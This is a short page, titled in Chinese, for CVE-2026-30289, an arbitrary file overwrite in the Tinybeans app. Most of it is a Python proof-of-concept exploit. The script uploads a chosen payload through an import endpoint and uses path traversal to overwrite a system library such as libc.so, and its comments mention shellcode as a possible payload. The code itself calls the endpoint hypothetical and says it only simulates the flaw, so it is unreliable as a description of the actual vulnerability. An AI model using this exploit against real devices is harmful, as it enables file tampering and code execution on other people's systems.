CVE-2026-30289 Tinybeans任意文件覆盖漏洞

# Proof of Concept for CVE-2026-30289 # This script simulates the arbitrary file overwrite vulnerability. import requests def exploit(target_ip, malicious_file_path): # The endpoint responsible for file import (hypothetical) url = f"http://{target_ip}/api/import" # Craft the payload to overwrite a critical file (e.g., library or config) # Using path traversal to escape the sandbox files = { 'file': ('../../../../../system/lib/libc.so', open(malicious_file_path, 'rb'), 'application/octet-stream') } try: print(f"[+] Sending malicious file to {url}...") response = requests.post(url, files=files) if response.status_code == 200: print("[+] Exploit successful! File overwritten.") else: print(f"[-] Exploit failed. Status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Usage: python poc.py <target_ip> <local_malicious_file> # Example payload could be a shellcode or modified config exploit("127.0.0.1", "payload.bin")